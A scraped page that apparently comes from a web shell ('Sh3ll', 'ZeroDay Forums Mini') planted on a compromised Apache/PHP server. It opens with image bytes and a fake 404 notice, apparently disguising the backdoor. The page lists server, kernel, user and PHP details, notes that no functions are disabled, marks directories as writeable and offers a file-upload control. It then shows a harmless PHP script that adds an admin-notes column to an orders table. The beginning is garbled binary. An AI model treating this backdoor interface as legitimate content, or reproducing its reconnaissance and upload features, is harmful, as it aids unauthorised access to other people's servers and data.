JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/orders/add_notes_admin_column.php
<?php
global $DB, $print;

// Check if orders table exists
$check_orders_table = $DB->query("SHOW TABLES LIKE 'tb_orders'");
if ($DB->get_num_rows() > 0) {
    // Check if notes_admin column exists
    $check_column = $DB->query("SHOW COLUMNS FROM `tb_orders` LIKE 'notes_admin'");
    if ($DB->get_num_rows() == 0) {
        // Add notes_admin column to tb_orders table
        $DB->query("ALTER TABLE `tb_orders` 
            ADD COLUMN `notes_admin` text DEFAULT NULL");
        
        echo "<div class='alert alert-success'>Đã thêm cột notes_admin vào bảng tb_orders.</div>";
    } else {
        echo "<div class='alert alert-info'>Cột notes_admin đã tồn tại trong bảng tb_orders.</div>";
    }
} else {
    echo "<div class='alert alert-danger'>Bảng tb_orders không tồn tại.</div>";
}

// Redirect after 3 seconds
echo '<script>setTimeout(function(){ window.location.href = "?act=admin&code=orders"; }, 3000);</script>';
exit();
?>

ZeroDay Forums Mini